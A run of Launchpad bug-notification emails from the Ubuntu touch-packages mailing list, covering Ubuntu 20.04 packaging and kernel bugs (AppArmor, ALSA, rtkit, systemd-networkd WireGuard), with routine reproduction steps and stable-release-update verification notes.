   * Very low.  Previous Ubuntu releases including apt-config-icons
  based on the depends in gnome-software.  This just adds an apt config
  that can be used to fetch icons for apt packages via apt.

To manage notifications about this bug go to:
https://bugs.launchpad.net/gnome-software/+bug/1864307/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1873658] Re: Deb Files are not associated with an application that manages packages

2020-05-19 Thread Brian Murray
While this has been tested on an Ubuntu desktop system, other flavours
have not been tested (to ensure they do not regress) so I'm setting the
bug back to verification-needed.

** Tags removed: verification-done-focal
** Tags added: verification-needed-focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gdebi in Ubuntu.
https://bugs.launchpad.net/bugs/1873658

Title:
  Deb Files are not associated with an application that manages packages

Status in desktop-file-utils package in Ubuntu:
  Fix Released
Status in gdebi package in Ubuntu:
  Invalid
Status in desktop-file-utils source package in Focal:
  Fix Committed
Status in gdebi source package in Focal:
  Invalid

Bug description:
  [Impact]

   * When a deb is downloaded the default handler is not capable of
  installing on 20.04.

  [Test Case]

   We should perform this test on Ubuntu 20.04 as well as some flavors
  to ensure we do not regress.

   * Download any deb in firefox, double click on the downloaded file
 - On Ubuntu this should open "Ubuntu Software"
 - On flavors it should open whatever their default app for handling debs is

  [Regression Potential]

   * For Ubuntu, very low, rarely would a user expect to open a deb with
  file-roller

   * Other flavors of ubuntu are overriding this default and should not
  be affected.  We do need to test this on other flavors to ensure their
  defaults are still honored.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/desktop-file-utils/+bug/1873658/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1870359] Re: My machine as Wi-Fi Hotspot broken after upgrade to 20.04

2020-05-19 Thread Krister
/usr/sbin/iptables is a symlink to another name with is linked to
another name which is linked to /usr/sbin/xtables-legacy-multi

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1870359

Title:
  My machine as Wi-Fi Hotspot broken after upgrade to 20.04

Status in network-manager package in Ubuntu:
  Confirmed

Bug description:
  I have a machine with a wired network connection and a wifi card. I've
  been using the machine as a wireless router and server in my house.
  I've attached a screenshot of the Wi-Fi network settings. It looks as
  expected.

  Upon updating to 20.04, none of my machines can use the connection.
  The linux machine will not connect. The windows machine will connect
  but will not have internet.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: network-manager 1.22.10-1ubuntu1
  ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27
  Uname: Linux 5.4.0-21-generic x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.11-0ubuntu22
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Thu Apr  2 15:47:02 2020
  IfupdownConfig:
   # interfaces(5) file used by ifup(8) and ifdown(8)
   auto lo
   iface lo inet loopback
  InstallationDate: Installed on 2015-09-30 (1645 days ago)
  InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422)
  IpRoute:
   default via 192.168.0.1 dev eth0 proto static metric 100 
   169.254.0.0/16 dev eth0 scope link metric 1000 
   192.168.0.0/24 dev eth0 proto kernel scope link src 192.168.0.100 metric 100
  SourcePackage: network-manager
  UpgradeStatus: Upgraded to focal on 2020-04-02 (0 days ago)
  WifiSyslog:
   
  mtime.conffile..etc.NetworkManager.NetworkManager.conf: 
2018-01-13T14:45:42.987041
  nmcli-nm:
   RUNNING  VERSION  STATE  STARTUP  CONNECTIVITY  NETWORKING  WIFI-HW  
WIFI WWAN-HW  WWAN
   running  1.22.10  connected  started  full  enabled enabled  
enabled  enabled  enabled

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1870359/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


Re: [Touch-packages] [Bug 1872564] Re: /proc/sys/kernel/random/boot_id rule missing from abstractions/nameservice

2020-05-19 Thread Sergio Durigan Junior
On Tuesday, May 19 2020, Jamie Strandboge wrote:

> @Sergio, I didn't see that you uploaded anything to the queue so to
> expedite the SRU since there are a number of duplicates, I created a
> smaller backport of the fix and uploaded it to focal-proposed just now:
> http://launchpadlibrarian.net/480473812/apparmor_2.13.3-7ubuntu5_2.13.3-7ubuntu5.1.diff.gz
>
> (I hope that is alright).

Thanks, Jamie!  That's quite alright.  There's an MP opened about this,
but we got sidetracked and forgot to follow up.

Thanks again.

-- 
Sergio
GPG key ID: E92F D0B3 6B14 F1F4 D8E0  EB2F 106D A1C8 C3CB BF14

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1872564

Title:
  /proc/sys/kernel/random/boot_id rule missing from
  abstractions/nameservice

Status in apparmor package in Ubuntu:
  Fix Released
Status in apparmor source package in Focal:
  In Progress

Bug description:
  [Impact]

  On a default Focal install, systemd is used when looking up passwd and
  group information:

  # grep systemd /etc/nsswitch.conf
  passwd: files systemd
  group:  files systemd

  Daemons confined by Apparmor that also query those "databases" will
  cause this Apparmor denial:

  audit: type=1400 audit(1586825456.411:247): apparmor="DENIED"
  operation="open" namespace="root//lxd-fb1_"
  profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id"
  pid=7370 comm="named" requested_mask="r" denied_mask="r" fsuid=100
  ouid=100

  Many daemons confined by Apparmor also happen to downgrade their
  privileges so they always end up looking up user/group information.

  To fix this problem, we had to backport an upstream patch which adds
  new directives to the 'nameservices' apparmor profile.

  [Test Case]

  In order to reproduce the bug, one can:

  1) launch a Focal container (named fb1 here)
  $ lxc launch images:ubuntu/focal fb1

  2) setup apparmor inside the container (already done on official Ubuntu 
images)
  $ lxc exec fb1 -- apt update && lxc exec fb1 -- apt install apparmor -y

  3) install bind9
  $ lxc exec fb1 -- apt install bind9 -y

  4) check kernel logs for DENIED
  $ journalctl -o cat -b0 -k | grep 'apparmor="DENIED"' | grep -F 
'profile="/usr/sbin/named"'

  or, depending on how logging is configured:

  $ dmesg | grep 'apparmor="DENIED"' | grep -F
  'profile="/usr/sbin/named"'

  Step 4, should not return anything. Because systemd is involved in the
  user/group lookups, it currently returns the following:

  audit: type=1400 audit(1586826072.115:266): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:267): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:268): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:269): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:270): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100

  [Regression Potential]

  In order to fix this issue, 3 separate patches had to be backported.
  They are simple and self-contained, especially two of them, whose
  purposes are to add the definition of the @{run} variable and then to
  add a trailing slash at the end of the "/run" pathname.

  The other patch, albeit very simple, adds three statements to the
  'nameservice' profile in order to let processes access (read-only)
  files under "/run/systemd/userdb" and
  "/proc/sys/kernel/random/boot_id".  After thinking about the possible
  cases, the only possible problem I could envision was for a program
  that, not being able to access some of these files before, will now be
  able to do that and therefore exercise a part of its codebase which
  was not being used, possibly uncovering latent bugs in this software.
  But this is not a regression of apparmor per se.

  [Original Description]

  (Description and Test Case were moved above)

  # Workaround

  1) remove systemd from nsswitch.conf
  $ lxc exec fb1 -- sed -i 's/ systemd$/ # systemd/' /etc/nsswitch.conf
  2) restart named
 

[Touch-packages] [Bug 1876238] Re: [Dell Inspiron 1525, SigmaTel STAC9228] No sound at all. Internal Speaker Not Detected. Dummy Output. After Upgrading From 19.10 to 20.04 LTS Focal

2020-05-19 Thread Launchpad Bug Tracker
*** This bug is a duplicate of bug 1875252 ***
https://bugs.launchpad.net/bugs/1875252

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: alsa-driver (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1876238

Title:
  [Dell Inspiron 1525, SigmaTel STAC9228] No sound at all. Internal
  Speaker Not Detected. Dummy Output. After Upgrading From 19.10 to
  20.04 LTS Focal

Status in alsa-driver package in Ubuntu:
  Confirmed

Bug description:
  Internal speakers were working fine until I upgraded the system from
  19.10 LTS to 20.04 LTS on April 23, 2020.

  Uninstalled and reinstalled alsamixer and pavucontrol, but of no use.

  Killed pavucontrol and reloaded alsamixer numerous times, but of no
  use. (`pulseaudio -k && sudo alsa force-reload`)

  Waited for two kernel updates, but of no use. Presently on 5.4.0-29.

  Tried upgrading the kernel even up to 5.6, but of no use.

  The Intel sound card is not getting detected.

  Tried every trick like adding "options snd-hda-intel dmic_detect=0" in
  the /etc/modprobe.d/alsa-base.conf, but of no use.

  Out of the two external audio output sockets for headphone, one is
  working. So I can either connect a headphone or an external speaker to
  this jack to tide over the crisis for the time being.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  raj   10952 F pulseaudio
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Fri May  1 09:54:23 2020
  InstallationDate: Installed on 2016-12-20 (1227 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  PackageArchitecture: all
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Intel failed
  Symptom_Card: Built-in Audio - HDA Intel
  Symptom_DevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  raj   10952 F pulseaudio
  Symptom_Jack: Speaker, Internal
  Symptom_Type: No sound at all
  Title: [Inspiron 1525, SigmaTel STAC9228, Speaker, Internal] No sound at all
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/27/2008
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A13
  dmi.board.vendor: Dell Inc.
  dmi.chassis.type: 8
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvrA13:bd06/27/2008:svnDellInc.:pnInspiron1525:pvr:rvnDellInc.:rn:rvr:cvnDellInc.:ct8:cvr:
  dmi.product.family: Inspiron
  dmi.product.name: Inspiron 1525
  dmi.sys.vendor: Dell Inc.
  mtime.conffile..etc.modprobe.d.alsa-base.conf: 2020-04-26T17:25:43.583147

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1876238/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878553] Re: Ubuntu could not install Virtualbox Guest addons

2020-05-19 Thread Olivier Tilloy
Manual mode is selected (and consequently other options are greyed out)
because the UbuntuDrivers module reports manual_install=True for the
device. Diving into the ubuntu-drivers-common code, it invokes "modinfo
vboxguest" and if the return value is 0, it considers the module to be
manually installed.

ubuntu@groovyvm:~$ modinfo vboxguest
filename:   
/lib/modules/5.4.0-28-generic/kernel/virtualbox-guest/vboxguest.ko
version:6.1.6_Ubuntu r137129
license:GPL
description:Oracle VM VirtualBox Guest Additions for Linux Module
author: Oracle Corporation
srcversion: 2A221C27F4AB41327E708B4
alias:  pci:v80EEdCAFEsvsdbc*sc*i*
depends:
retpoline:  Y
name:   vboxguest
vermagic:   5.4.0-28-generic SMP mod_unload 
sig_id: PKCS#7
signer: Build time autogenerated kernel key
sig_key:42:A8:A9:98:8B:E6:F1:71:2C:AF:A3:32:4E:72:D5:45:3C:41:3F:7A
sig_hashalgo:   sha512
signature:  41:5D:D4:94:4A:0E:64:89:C4:6C:E8:20:76:5E:37:0B:5C:FB:DF:8A:
69:46:BB:6E:B2:2E:61:E5:FE:E1:8C:66:40:5F:B1:89:95:3A:7F:3C:
F3:B0:CD:B3:96:FB:79:79:DA:3D:FB:E8:B2:C8:40:BA:8B:99:C7:4A:
BA:F3:AF:A3:FC:AB:7C:06:C1:DA:11:7C:4D:33:3B:AE:55:14:A8:6D:
70:26:2A:C4:BA:3A:3E:8B:D5:E8:43:5D:1F:50:2F:2B:84:4A:61:A1:
9C:02:6C:F0:45:28:CB:A5:30:C8:0E:78:B9:F9:B2:5B:3A:95:F0:48:
7D:87:55:C3:6B:65:58:31:CB:FB:03:AA:D1:EB:D6:D0:4F:29:0E:0E:
87:6B:DC:FA:C5:3E:7A:00:93:B9:F8:F6:9A:8F:3B:F5:39:8E:45:FE:
53:19:4F:B9:2B:66:54:B9:FC:56:4A:C2:5F:AB:E7:41:CE:40:A7:86:
8B:4E:54:28:24:4A:F9:A5:54:8B:8B:8F:F3:E7:4D:6B:EC:1B:64:E0:
A2:13:A7:88:B1:7F:5D:B8:D1:6B:D0:E0:32:0A:F1:4C:8D:F5:79:14:
7A:D7:A9:E4:F2:53:1E:29:BC:67:B8:6E:8C:E0:91:14:D4:A2:0E:FC:
FE:49:B2:86:96:1B:73:77:E6:31:FE:47:47:4E:87:8A:83:AB:BA:AA:
6E:62:DF:A7:F3:9E:CE:B9:E8:9C:27:C8:95:4C:25:B8:5C:8B:64:C7:
E4:3B:82:B9:A1:12:30:63:D6:F6:83:D1:2B:C7:40:93:85:C8:0D:3C:
67:95:C5:5E:DC:D6:83:D5:75:1F:6B:50:ED:1B:83:FA:4E:D0:5C:5F:
BB:A5:ED:F6:63:CA:F1:FF:51:5B:82:84:F9:1C:14:B3:86:E8:E0:72:
AC:0E:32:4A:87:82:76:2E:4D:5C:3A:B0:19:94:82:34:E1:D4:C9:94:
BB:C9:44:1C:2A:F3:6D:FD:FE:5D:D1:03:FA:C6:79:8C:09:40:6B:54:
FB:59:71:16:F0:33:B1:A1:B2:89:69:62:C3:DB:A6:8A:25:07:05:19:
A6:58:C2:FE:83:1B:F0:73:C4:5C:F7:D1:B8:A3:31:CA:62:F9:FE:7F:
2C:B3:00:77:43:53:90:CC:00:C2:E0:BF:0A:69:DA:AE:AD:AC:61:D4:
95:97:26:C7:25:EC:EF:41:29:F4:A2:F7:CE:19:A9:B9:94:FB:F7:D0:
C2:76:5A:88:B3:BF:AE:D3:07:73:B5:B8:A1:39:2C:63:3D:80:AE:2D:
16:C1:01:0B:95:E1:E7:28:B3:31:F6:D5:35:85:1B:CD:99:AF:06:10:
E6:5D:EC:9C:1D:8F:E6:21:42:85:41:B5

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1878553

Title:
  Ubuntu could not install Virtualbox Guest addons

Status in software-properties package in Ubuntu:
  New
Status in software-properties source package in Groovy:
  New

Bug description:
  It seems that Ubuntu is not able to install the VirtualBox Guest add-
  ons even Ubuntu is able to detect it.

  See Attachement.

  Ubuntu 20.04
  Basic install after Reboot, Update and Reboot again.

  Similar Tickets in Launchpad but really old:
  https://bugs.launchpad.net/ubuntu/+source/ubuntu-drivers-common/+bug/1434579

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1878553/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1876125] Update Released

2020-05-19 Thread Brian Murray
The verification of the Stable Release Update for evolution-data-server
has completed successfully and the package is now being released to
-updates.  Subsequently, the Ubuntu Stable Release Updates Team is being
unsubscribed and will not receive messages about this bug report.  In
the event that you encounter a regression using the package from
-updates please report a new bug using ubuntu-bug and tag the bug report
regression-update so we can easily find any regressions.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to evolution-data-server in
Ubuntu.
https://bugs.launchpad.net/bugs/1876125

Title:
  SRU the current 3.36.2 stable update

Status in evolution-data-server package in Ubuntu:
  Fix Released
Status in evolution-data-server source package in Focal:
  Fix Released

Bug description:
  * Impact
  That's the current GNOME stable update, including some fixes and translation 
updates
  https://gitlab.gnome.org/GNOME/evolution-data-server/-/blob/gnome-3-36/NEWS

  * Test case

  The update is part of GNOME stable updates
  https://wiki.ubuntu.com/StableReleaseUpdates/GNOME

  Check that the calendar integration in GNOME and gnome-calendar is
  working, also test evolution with an email account.

  * Regression potential

  There is no specific change or feature to test in the upgrade

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/evolution-data-server/+bug/1876125/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1876125] Re: SRU the current 3.36.2 stable update

2020-05-19 Thread Launchpad Bug Tracker
This bug was fixed in the package evolution-data-server -
3.36.2-0ubuntu1

---
evolution-data-server (3.36.2-0ubuntu1) focal; urgency=medium

  * New stable version (lp: #1876125)
  * debian/patches/git_stable_bugfixes.patch:
- removing, the changes are in the new version

 -- Sebastien Bacher   Thu, 30 Apr 2020 17:07:29
+0200

** Changed in: evolution-data-server (Ubuntu Focal)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to evolution-data-server in
Ubuntu.
https://bugs.launchpad.net/bugs/1876125

Title:
  SRU the current 3.36.2 stable update

Status in evolution-data-server package in Ubuntu:
  Fix Released
Status in evolution-data-server source package in Focal:
  Fix Released

Bug description:
  * Impact
  That's the current GNOME stable update, including some fixes and translation 
updates
  https://gitlab.gnome.org/GNOME/evolution-data-server/-/blob/gnome-3-36/NEWS

  * Test case

  The update is part of GNOME stable updates
  https://wiki.ubuntu.com/StableReleaseUpdates/GNOME

  Check that the calendar integration in GNOME and gnome-calendar is
  working, also test evolution with an email account.

  * Regression potential

  There is no specific change or feature to test in the upgrade

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/evolution-data-server/+bug/1876125/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1875665] Re: rtkit-daemon[*]: Failed to make ourselves RT: Operation not permitted after upgrade to 20.04

2020-05-19 Thread DaveTickem
Agreed - proposed fix in 5.4.0-32-generic also works for me.

twiggy2@twiggy2:~$ journalctl -b -u rtkit-daemon
-- Logs begin at Wed 2020-05-06 22:30:38 BST, end at Tue 2020-05-19 19:32:24 
BST. --
May 19 19:32:11 twiggy2 systemd[1]: Starting RealtimeKit Scheduling Policy 
Service...
May 19 19:32:11 twiggy2 systemd[1]: Started RealtimeKit Scheduling Policy 
Service.
May 19 19:32:11 twiggy2 rtkit-daemon[1047]: Successfully called chroot.
May 19 19:32:11 twiggy2 rtkit-daemon[1047]: Successfully dropped privileges.
May 19 19:32:11 twiggy2 rtkit-daemon[1047]: Successfully limited resources.
May 19 19:32:11 twiggy2 rtkit-daemon[1047]: Running.
May 19 19:32:11 twiggy2 rtkit-daemon[1047]: Successfully made thread 1037 of 
process 1037 owned by '1000' high priority at nice level -11.
May 19 19:32:11 twiggy2 rtkit-daemon[1047]: Supervising 1 threads of 1 
processes of 1 users.

Rest of boot logs appear fine.

Thank you !


** Tags removed: verification-needed-focal
** Tags added: verification-done-focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rtkit in Ubuntu.
https://bugs.launchpad.net/bugs/1875665

Title:
  rtkit-daemon[*]: Failed to make ourselves RT: Operation not permitted
  after upgrade to 20.04

Status in linux package in Ubuntu:
  Fix Committed
Status in linux-azure package in Ubuntu:
  Invalid
Status in linux-gcp package in Ubuntu:
  Invalid
Status in linux-kvm package in Ubuntu:
  Invalid
Status in linux-oracle package in Ubuntu:
  Invalid
Status in linux-riscv package in Ubuntu:
  Invalid
Status in rtkit package in Ubuntu:
  Confirmed
Status in linux source package in Focal:
  Fix Committed
Status in linux-azure source package in Focal:
  Fix Committed
Status in linux-gcp source package in Focal:
  Fix Committed
Status in linux-kvm source package in Focal:
  Fix Committed
Status in linux-oracle source package in Focal:
  Fix Committed
Status in linux-riscv source package in Focal:
  Fix Committed
Status in rtkit source package in Focal:
  Confirmed

Bug description:
  SRU Justification

  Impact: CONFIG_RT_GROUP_SCHED was enabled in focal, except for the
  lowlatency kernel since we expected most RT users to use that kernel.
  However we are getting RT regressions with the generic kernel. Digging
  deeper into this option, it seems to be pretty specialized and to
  require quite a bit of workload-specific configuration/tuning to be
  useful, so it doesn't really seem to make sense for a general-purpose
  kernel.

  Fix: Turn this option back off.

  Test Case: See comment #4.

  Regression Potential: This was turned on to support some docker
  functionality, so this functionality will no longer be available.
  We've had this option off for all releases prior to focal, so this
  seems acceptable.

  ---

  These errors started right after upgrading to 20.04.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: rtkit 0.12-4
  ProcVersionSignature: Ubuntu 5.4.0-26.30-generic 5.4.30
  Uname: Linux 5.4.0-26-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Apr 28 10:31:43 2020
  InstallationDate: Installed on 2019-06-18 (315 days ago)
  InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Release amd64 (20190416)
  ProcEnviron:
   TERM=tmux-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: rtkit
  UpgradeStatus: Upgraded to focal on 2020-04-21 (6 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1875665/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1875605] Update Released

2020-05-19 Thread Brian Murray
The verification of the Stable Release Update for libsecret has
completed successfully and the package is now being released to
-updates.  Subsequently, the Ubuntu Stable Release Updates Team is being
unsubscribed and will not receive messages about this bug report.  In
the event that you encounter a regression using the package from
-updates please report a new bug using ubuntu-bug and tag the bug report
regression-update so we can easily find any regressions.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libsecret in Ubuntu.
https://bugs.launchpad.net/bugs/1875605

Title:
   SRU the current 0.20.3 stable update

Status in libsecret package in Ubuntu:
  Fix Released
Status in libsecret source package in Focal:
  Fix Released

Bug description:
  * Impact
  That's the current GNOME stable update, including some fixes
  https://gitlab.gnome.org/GNOME/libsecret/-/blob/master/NEWS

  * Test case

  The update is part of GNOME stable updates
  https://wiki.ubuntu.com/StableReleaseUpdates/GNOME

  Check that using passwords in GNOME applications or gpg/ssh keys still
  work correctly

  * Regression potential

  There is a segfault fix for flapak portals, testing that usecase would
  be useful

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libsecret/+bug/1875605/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1877159] Re: netlink: 'systemd-network': attribute type 5 has an invalid length.

2020-05-19 Thread Simon Déziel
It tested fine with 237-3ubuntu10.41:

(Reading database ... 54686 files and directories currently installed.)
Preparing to unpack libnss-systemd_237-3ubuntu10.41_amd64.deb ...
Unpacking libnss-systemd:amd64 (237-3ubuntu10.41) over (237-3ubuntu10.40) ...
Preparing to unpack libpam-systemd_237-3ubuntu10.41_amd64.deb ...
Unpacking libpam-systemd:amd64 (237-3ubuntu10.41) over (237-3ubuntu10.40) ...
Preparing to unpack libsystemd0_237-3ubuntu10.41_amd64.deb ...
Unpacking libsystemd0:amd64 (237-3ubuntu10.41) over (237-3ubuntu10.40) ...
Preparing to unpack libudev1_237-3ubuntu10.41_amd64.deb ...
Unpacking libudev1:amd64 (237-3ubuntu10.41) over (237-3ubuntu10.40) ...
Preparing to unpack systemd_237-3ubuntu10.41_amd64.deb ...
Unpacking systemd (237-3ubuntu10.41) over (237-3ubuntu10.40) ...
Preparing to unpack systemd-sysv_237-3ubuntu10.41_amd64.deb ...
Unpacking systemd-sysv (237-3ubuntu10.41) over (237-3ubuntu10.40) ...
Preparing to unpack udev_237-3ubuntu10.41_amd64.deb ...
Unpacking udev (237-3ubuntu10.41) over (237-3ubuntu10.40) ...
Setting up libsystemd0:amd64 (237-3ubuntu10.41) ...
Setting up libudev1:amd64 (237-3ubuntu10.41) ...
Setting up systemd (237-3ubuntu10.41) ...
Setting up systemd-sysv (237-3ubuntu10.41) ...
Setting up udev (237-3ubuntu10.41) ...


** Tags removed: verification-needed verification-needed-bionic
** Tags added: verification-done verification-done-bionic

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1877159

Title:
  netlink: 'systemd-network': attribute type 5 has an invalid length.

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Committed
Status in systemd source package in Eoan:
  Fix Released
Status in systemd source package in Focal:
  Fix Released

Bug description:
  [impact]

  systemd-networkd uses incorrect netlink attribute length for
  wireguard's persistent keepalive interval, which logs error messages
  from the kernel, and may incorrectly set the parameter.

  [test case]

  Only 1 Bionic VM is required to reproduce the problem:

  $ lxc launch images:ubuntu/bionic --vm -c security.secureboot=false foo
  $ sleep 10 # allow booting
  $ lxc exec foo -- apt install -y software-properties-common
  $ lxc exec foo -- add-apt-repository -y ppa:wireguard/wireguard
  $ lxc exec foo -- apt install -y wireguard-tools

  $ cat << EOF | lxc exec foo -- tee /etc/systemd/network/wg0.netdev
  # foo
  [NetDev]
  Name=wg0
  Kind=wireguard

  [WireGuard]
  ListenPort=
  PrivateKey=cBkljQSKhtEe/U8GZmCAk2MBbKWL4TLC9PVtbMFyCVQ=

  [WireGuardPeer]
  PublicKey=emfIuZ3hZ+AnWIrKex/EqCp2mfzip8AxJu6RuweyRGc=
  AllowedIPs=192.168.255.2
  Endpoint=bar.lxd:
  EOF

  $ cat << EOF | lxc exec foo -- tee /etc/systemd/network/wg0.network
  # foo
  [Match]
  Name=wg0

  [Network]
  Address=192.168.255.1/24
  EOF

  $ lxc exec foo -- systemctl restart systemd-networkd

  # notice the invalid length in dmesg
  $ lxc exec foo -- journalctl -kn 8
  -- Logs begin at Mon 2020-05-11 16:56:40 UTC, end at Mon 2020-05-11 17:03:46 
UTC. --
  May 11 16:58:25 foo kernel: nf_tables: (c) 2007-2009 Patrick McHardy 

  May 11 17:01:57 foo kernel: PKCS#7 signature not signed with a trusted key
  May 11 17:01:57 foo kernel: wireguard: module verification failed: signature 
and/or required key missing - tainting kernel
  May 11 17:01:57 foo kernel: wireguard: WireGuard 1.0.20200429 loaded. See 
www.wireguard.com for information.
  May 11 17:01:57 foo kernel: wireguard: Copyright (C) 2015-2019 Jason A. 
Donenfeld . All Rights Reserved.
  May 11 17:01:57 foo kernel: netlink: 'systemd-network': attribute type 5 has 
an invalid length.
  May 11 17:01:57 foo kernel: netlink: 'systemd-network': attribute type 5 has 
an invalid length.
  May 11 17:02:23 foo kernel: netlink: 'systemd-network': attribute type 5 has 
an invalid length.

  [regression potential]

  this adjusts the length of the specific netlink parameter, so any
  regression would likely relate to incorrectly setting the persistent
  keepalive interval parameter, or failure to set the parameter.

  [scope]

  this is needed only for Bionic.

  this was fixed upstream in commit
  7d0b26a027118ca063780421cb31c74e9d2664ee which was first included in
  v240, so this is fixed in Eoan and later.  Xenial does not include
  support for wireguard, so this does not apply there.

  [original description]

  This morning, our 2 Bionic machine configured with the wireguard's PPA
  and using systemd-networkd to configure the wireguard tunnel started
  misbehaving. Why this started just now is unclear ATM but their dmesg
  was filled with this:

  validate_nla: 100 callbacks suppressed
  netlink: 'systemd-network': attribute type 5 has an invalid length.
  netlink: 'systemd-network': attribute type 5 has an invalid length.
  netlink: 'systemd-network': attribute type 5 has an invalid length.
  

